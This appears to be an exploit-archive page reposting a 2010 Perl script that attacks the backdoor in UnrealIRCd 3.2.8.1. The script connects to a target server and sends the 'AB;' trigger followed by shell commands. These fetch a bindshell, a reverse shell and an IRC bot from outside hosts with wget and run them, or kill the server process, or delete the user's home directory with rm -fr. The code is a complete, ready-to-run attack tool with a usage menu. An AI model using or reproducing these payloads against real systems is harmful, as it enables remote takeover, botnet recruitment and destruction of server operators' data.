Home / os / win7

Unreal IRCD 3.2.8.1 Remote Downloader/Execute Trojan

Posted on 13 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Unreal IRCD 3.2.8.1 Remote Downloader/Execute Trojan</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================
Unreal IRCD 3.2.8.1 Remote Downloader/Execute Trojan
====================================================


#!/usr/bin/perl
# Unreal3.2.8.1 Remote Downloader/Execute Trojan
# DO NOT DISTRIBUTE -PRIVATE-
# -iHaq (2l8)
 
use Socket;
use IO::Socket;
 
## Payload options
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &amp;';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &amp;';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &amp;';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';
 
$host = &quot;&quot;;
$port = &quot;&quot;;
$type = &quot;&quot;;
$host = @ARGV[0];
$port = @ARGV[1];
$type = @ARGV[2];
 
if ($host eq &quot;&quot;) { usage(); }
if ($port eq &quot;&quot;) { usage(); }
if ($type eq &quot;&quot;) { usage(); }
 
sub usage {
  printf &quot;
Usage :
&quot;;
  printf &quot;perl unrealpwn.pl &lt;host&gt; &lt;port&gt; &lt;type&gt;

&quot;;
  printf &quot;Command list :
&quot;;
  printf &quot;[1] - Perl Bindshell
&quot;;
  printf &quot;[2] - Perl Reverse Shell
&quot;;
  printf &quot;[3] - Perl Bot
&quot;;
  printf &quot;-----------------------------
&quot;;
  printf &quot;[4] - shutdown ircserver
&quot;;
  printf &quot;[5] - delete ircserver
&quot;;
  exit(1);
}
 
sub unreal_trojan {
  my $ircserv = $host;
  my $ircport = $port;
  my $sockd = IO::Socket::INET-&gt;new (PeerAddr =&gt; $ircserv, PeerPort =&gt; $ircport, Proto =&gt; &quot;tcp&quot;) || die &quot;Failed to connect to $ircserv on $ircport ...

&quot;;
  print &quot;[+] Payload sent ...
&quot;;
  if ($type eq &quot;1&quot;) {
    print $sockd &quot;$payload1&quot;;
  } elsif ($type eq &quot;2&quot;) {
    print $sockd &quot;$payload2&quot;;
  } elsif ($type eq &quot;3&quot;) {
    print $sockd &quot;$payload3&quot;;
  } elsif ($type eq &quot;4&quot;) {
    print $sockd &quot;$payload4&quot;;
  } elsif ($type eq &quot;5&quot;) {
    print $sockd &quot;$payload5&quot;;
  } else {
    printf &quot;
Invalid Option ...

&quot;;
    usage();
  }
  close($sockd);
  exit(1);
}
 
unreal_trojan();
# EOF


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-13]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :